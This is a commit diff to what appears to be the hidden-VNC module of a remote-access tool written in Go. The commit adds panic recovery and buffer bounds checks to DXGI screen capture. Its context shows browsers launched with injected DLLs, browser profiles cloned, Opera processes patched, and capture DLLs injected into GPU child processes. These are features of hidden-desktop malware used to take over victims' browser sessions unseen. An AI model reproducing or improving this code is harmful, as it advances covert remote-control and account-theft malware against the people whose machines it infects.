safety and hopefully fix crashing bug with GPU mode.
This commit is contained in:
@@ -163,7 +163,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
return err
|
||||
}
|
||||
if info.needsPatch && pid != 0 {
|
||||
go patchOperaAsync(pid, 5, 2*time.Second)
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -207,7 +210,10 @@ func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, c
|
||||
return err
|
||||
}
|
||||
if info.needsPatch && pid != 0 {
|
||||
go patchOperaAsync(pid, 5, 2*time.Second)
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
patchOperaAsync(pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -622,6 +628,11 @@ func cloneBrowserProfile(browserName string, srcUserData string, lite bool, onPr
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
log.Printf("[panic] hvnc file copy worker: %v", r)
|
||||
}
|
||||
}()
|
||||
for job := range jobCh {
|
||||
n, err := forceCopyFile(job.src, job.dst)
|
||||
if err != nil {
|
||||
@@ -811,7 +822,10 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD
|
||||
if !hvncDXGIEnabled.Load() {
|
||||
log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process")
|
||||
} else {
|
||||
go hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc deferred gpu inject", nil)
|
||||
hvncDeferredGPUInject(pid, captureDllBytes)
|
||||
}()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -859,7 +859,10 @@ func uiaEnsureWorker() {
|
||||
uiaWorkerOnce.Do(func() {
|
||||
uiaWorkerCh = make(chan func(), 64)
|
||||
uiaWorkerDone = make(chan struct{})
|
||||
go uiaWorkerLoop()
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc uia worker", nil)
|
||||
uiaWorkerLoop()
|
||||
}()
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -456,7 +456,10 @@ func ensureHVNCThread() error {
|
||||
hvncThreadReady = make(chan struct{})
|
||||
hvncThreadTasks = make(chan hvncTask)
|
||||
hvncWatchdogOnce.Do(func() {
|
||||
go hvncThreadWatchdog()
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc watchdog", nil)
|
||||
hvncThreadWatchdog()
|
||||
}()
|
||||
})
|
||||
go func(handle uintptr) {
|
||||
defer recoverAndLog("hvnc desktop thread", nil)
|
||||
@@ -558,7 +561,10 @@ func StartHVNCProcess(filePath string, operaPatch bool) error {
|
||||
return result.err
|
||||
}
|
||||
if operaPatch && result.pid != 0 {
|
||||
go patchOperaAsync(result.pid, 5, 2*time.Second)
|
||||
go func() {
|
||||
defer recoverAndLog("hvnc patch opera", nil)
|
||||
patchOperaAsync(result.pid, 5, 2*time.Second)
|
||||
}()
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -756,7 +756,18 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
|
||||
}
|
||||
|
||||
pitch := int(mapped.Pitch)
|
||||
src := unsafe.Slice(mapped.Bits, pitch*height)
|
||||
if pitch < width*4 {
|
||||
_ = s.dup.UnMapDesktopSurface()
|
||||
_ = s.dup.ReleaseFrame()
|
||||
return nil, fmt.Errorf("dxgi: pitch %d too small for width %d", pitch, width)
|
||||
}
|
||||
totalBytes := pitch * height
|
||||
if totalBytes/height != pitch {
|
||||
_ = s.dup.UnMapDesktopSurface()
|
||||
_ = s.dup.ReleaseFrame()
|
||||
return nil, fmt.Errorf("dxgi: pitch*height overflow (%d * %d)", pitch, height)
|
||||
}
|
||||
src := unsafe.Slice(mapped.Bits, totalBytes)
|
||||
if wantScale {
|
||||
img = convertBGRAScaled(src, pitch, width, height, dstW, dstH, s.desc.Rotation)
|
||||
}
|
||||
@@ -765,6 +776,9 @@ func (s *duplicationState) capture(display int) (*image.RGBA, error) {
|
||||
}
|
||||
_ = s.dup.UnMapDesktopSurface()
|
||||
_ = s.dup.ReleaseFrame()
|
||||
if img == nil {
|
||||
return nil, errors.New("dxgi: pixel conversion failed (buffer too small)")
|
||||
}
|
||||
} else {
|
||||
img, hr = s.readbackFrame(width, height, s.desc.Rotation, resource,
|
||||
wantScale, dstW, dstH)
|
||||
@@ -976,7 +990,16 @@ func (s *duplicationState) readbackFrame(width, height int, rotation uint32, res
|
||||
}
|
||||
|
||||
pitch := int(mapped.RowPitch)
|
||||
src := unsafe.Slice((*byte)(mapped.Data), pitch*int(srcDesc.Height))
|
||||
srcH := int(srcDesc.Height)
|
||||
srcW := int(srcDesc.Width)
|
||||
if pitch < srcW*4 {
|
||||
return nil, uintptr(1)
|
||||
}
|
||||
totalBytes := pitch * srcH
|
||||
if totalBytes/srcH != pitch {
|
||||
return nil, uintptr(1)
|
||||
}
|
||||
src := unsafe.Slice((*byte)(mapped.Data), totalBytes)
|
||||
var img *image.RGBA
|
||||
if wantScale {
|
||||
img = convertBGRAScaled(src, pitch, int(srcDesc.Width), int(srcDesc.Height), dstW, dstH, rotation)
|
||||
@@ -1094,6 +1117,9 @@ func createD3DDevice(adapter *idxgiAdapter1) (*d3d11Device, *d3d11DeviceContext,
|
||||
}
|
||||
|
||||
func convertBGRA(src []byte, pitch, width, height int, rotation uint32) *image.RGBA {
|
||||
if len(src) < (height-1)*pitch+width*4 {
|
||||
return nil
|
||||
}
|
||||
switch rotation {
|
||||
case dxgiModeRotationRotate90:
|
||||
dst := GetRGBA(height, width)
|
||||
@@ -1166,6 +1192,9 @@ func convertBGRAScaled(src []byte, pitch, srcW, srcH, dstW, dstH int, rotation u
|
||||
if rotation != dxgiModeRotationIdentity && rotation != 0 {
|
||||
return nil
|
||||
}
|
||||
if len(src) < (srcH-1)*pitch+srcW*4 {
|
||||
return nil
|
||||
}
|
||||
dst := GetRGBA(dstW, dstH)
|
||||
xOff := make([]int, dstW)
|
||||
for x := 0; x < dstW; x++ {
|
||||
|
||||
Reference in New Issue
Block a user